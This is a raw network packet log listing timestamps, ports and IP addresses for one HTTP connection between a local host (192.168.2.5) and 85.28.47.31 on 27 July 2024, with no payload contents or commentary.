Jul 27, 2024 09:25:05.547183037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547197104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547214031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547229052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547245979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547266006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547280073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547298908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547316074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547332048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547349930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547363997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547374964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547398090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547421932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547430992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547446966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547465086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547482014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547513008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547517061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547552109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547566891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547586918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547600031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547621012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547636986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547652960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547666073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547686100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547718048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547723055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547743082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547749996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547775984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547781944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547799110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547815084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547828913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547847986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547859907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547882080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547889948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547914982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547928095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547947884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547960997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547980070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547992945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548013926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548024893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548046112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548058987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548079014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548094988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548110962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548124075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548155069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548161983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548206091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548212051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548245907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548257113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548280001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548296928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548312902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548321962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548346043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548360109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548378944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548389912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548410892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548427105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548444033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548454046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548476934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548516989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548517942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548527002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548563004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548578978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548595905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548604012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548629999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.548641920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.548681021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.637590885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.637665987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.637702942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.637754917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.637790918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.637798071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.637798071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.637798071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.637799025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.637825966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.637836933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.637861013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.637887955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.637906075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.637914896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.637964964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.637968063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638000011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638011932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638032913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638045073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638066053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638082981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638098955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638113022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638132095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638144016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638166904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638180971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638199091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638211012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638232946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638243914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638267994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638281107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638302088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638305902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638334990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638345003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638369083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638377905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638401031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638417959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638433933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638448000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638467073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638480902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638499975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638511896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638531923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638550043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638565063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638573885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638600111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638607979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638636112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638649940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638669968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638679981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638705015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638721943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638746023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638756037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638789892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638802052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638823986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638834000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638856888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638874054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638902903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638907909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638953924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.638959885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.638992071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639004946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639024973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639036894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639058113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639075041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639091015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639100075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639123917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639137030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639157057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639173985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639189959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639202118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639239073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639240026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639269114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639281988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639303923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639317036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639338017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639353991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639369965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639384031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639403105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639415026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639435053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639447927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639467955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639478922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639516115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639518976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639564991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639571905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639605045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639617920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639638901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639655113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639672041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639683008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639719963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639723063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639755011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639767885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639790058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639800072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639822960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639838934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639867067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639872074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639904976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639919996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639941931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639950037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.639975071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.639986992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640007973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640023947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640039921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640053034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640073061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640085936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640105009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640116930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640139103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640156984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640171051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640185118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640204906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640216112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640238047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640253067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640271902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640284061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640305042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640316963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640337944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640356064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640371084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640383959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640403986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640414953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640438080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640451908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640471935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640497923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640525103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640538931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640573025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640588045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640605927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640619040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640639067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640650034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640671015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640702963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640717983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640722036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640754938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640767097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640788078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640805960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640820026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640830040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640866995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640873909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640906096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640922070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640938997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640953064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.640971899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.640984058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641005039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641021967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641036987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641051054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641072989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641086102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641104937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641123056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641136885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641146898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641170025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641181946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641201973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641217947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641233921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641248941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641268969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641280890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641319036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641320944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641355038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641367912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641387939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641406059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641419888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641429901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641453028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641467094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641486883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641498089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641520023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641536951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641554117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641561985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641587973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641599894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641621113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641632080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641654015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641669035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641688108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.641699076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.641736031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.730633974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.730705976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.730741978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.730773926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.730808020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.730827093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.730840921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.730869055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.730878115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.730890036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.730911016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.730938911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.730958939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.730966091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.730998993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731029034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731050968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731055021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731082916 CEST	80	49704	85.28.47.31	192.168.2.5
